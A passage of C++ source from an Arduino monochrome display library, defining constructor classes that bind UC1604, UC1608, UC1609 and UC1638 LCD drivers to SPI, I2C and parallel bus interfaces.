U8X8_UC1604_JLX19264_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1604_JLX19264_6800 : public U8X8 { public: U8X8_UC1604_JLX19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1604_JLX19264_8080 : public U8X8 { public: U8X8_UC1604_JLX19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1604_JLX19264_SW_I2C : public U8X8 { public: U8X8_UC1604_JLX19264_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1604_JLX19264_HW_I2C : public U8X8 { public: U8X8_UC1604_JLX19264_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1604_JLX19264_2ND_HW_I2C : public U8X8 { public: U8X8_UC1604_JLX19264_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1608_ERC24064_4W_SW_SPI : public U8X8 { public: U8X8_UC1608_ERC24064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1608_ERC24064_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC24064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_ERC24064_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC24064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_ERC24064_3W_SW_SPI : public U8X8 { public: U8X8_UC1608_ERC24064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1608_ERC24064_3W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC24064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1608_ERC24064_6800 : public U8X8 { public: U8X8_UC1608_ERC24064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_ERC24064_8080 : public U8X8 { public: U8X8_UC1608_ERC24064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_DEM240064_4W_SW_SPI : public U8X8 { public: U8X8_UC1608_DEM240064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1608_DEM240064_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_DEM240064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_DEM240064_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_DEM240064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_DEM240064_3W_SW_SPI : public U8X8 { public: U8X8_UC1608_DEM240064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1608_DEM240064_3W_HW_SPI : public U8X8 { public: U8X8_UC1608_DEM240064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1608_DEM240064_6800 : public U8X8 { public: U8X8_UC1608_DEM240064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_DEM240064_8080 : public U8X8 { public: U8X8_UC1608_DEM240064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_ERC24064_SW_I2C : public U8X8 { public: U8X8_UC1608_ERC24064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1608_ERC24064_HW_I2C : public U8X8 { public: U8X8_UC1608_ERC24064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1608_ERC24064_2ND_HW_I2C : public U8X8 { public: U8X8_UC1608_ERC24064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1608_DEM240064_SW_I2C : public U8X8 { public: U8X8_UC1608_DEM240064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1608_DEM240064_HW_I2C : public U8X8 { public: U8X8_UC1608_DEM240064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1608_DEM240064_2ND_HW_I2C : public U8X8 { public: U8X8_UC1608_DEM240064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1608_ERC240120_4W_SW_SPI : public U8X8 { public: U8X8_UC1608_ERC240120_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1608_ERC240120_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC240120_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_ERC240120_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC240120_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_ERC240120_3W_SW_SPI : public U8X8 { public: U8X8_UC1608_ERC240120_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1608_ERC240120_3W_HW_SPI : public U8X8 { public: U8X8_UC1608_ERC240120_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1608_ERC240120_6800 : public U8X8 { public: U8X8_UC1608_ERC240120_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_ERC240120_8080 : public U8X8 { public: U8X8_UC1608_ERC240120_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_ERC240120_SW_I2C : public U8X8 { public: U8X8_UC1608_ERC240120_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1608_ERC240120_HW_I2C : public U8X8 { public: U8X8_UC1608_ERC240120_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1608_ERC240120_2ND_HW_I2C : public U8X8 { public: U8X8_UC1608_ERC240120_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1608_240X128_4W_SW_SPI : public U8X8 { public: U8X8_UC1608_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1608_240X128_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_240X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1608_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1608_240X128_3W_SW_SPI : public U8X8 { public: U8X8_UC1608_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1608_240X128_3W_HW_SPI : public U8X8 { public: U8X8_UC1608_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1608_240X128_6800 : public U8X8 { public: U8X8_UC1608_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_240X128_8080 : public U8X8 { public: U8X8_UC1608_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1608_240X128_SW_I2C : public U8X8 { public: U8X8_UC1608_240X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1608_240X128_HW_I2C : public U8X8 { public: U8X8_UC1608_240X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1608_240X128_2ND_HW_I2C : public U8X8 { public: U8X8_UC1608_240X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1609_SLG19264_4W_SW_SPI : public U8X8 { public: U8X8_UC1609_SLG19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1609_SLG19264_4W_HW_SPI : public U8X8 { public: U8X8_UC1609_SLG19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1609_SLG19264_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1609_SLG19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1609_SLG19264_3W_SW_SPI : public U8X8 { public: U8X8_UC1609_SLG19264_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1609_SLG19264_3W_HW_SPI : public U8X8 { public: U8X8_UC1609_SLG19264_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1609_SLG19264_6800 : public U8X8 { public: U8X8_UC1609_SLG19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1609_SLG19264_8080 : public U8X8 { public: U8X8_UC1609_SLG19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1609_SLG19264_SW_I2C : public U8X8 { public: U8X8_UC1609_SLG19264_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1609_SLG19264_HW_I2C : public U8X8 { public: U8X8_UC1609_SLG19264_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1609_SLG19264_2ND_HW_I2C : public U8X8 { public: U8X8_UC1609_SLG19264_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1638_160X128_4W_SW_SPI : public U8X8 { public: U8X8_UC1638_160X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1638_160X128_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_160X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_160X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_160X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_160X128_3W_SW_SPI : public U8X8 { public: U8X8_UC1638_160X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1638_160X128_3W_HW_SPI : public U8X8 { public: U8X8_UC1638_160X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1638_160X128_6800 : public U8X8 { public: 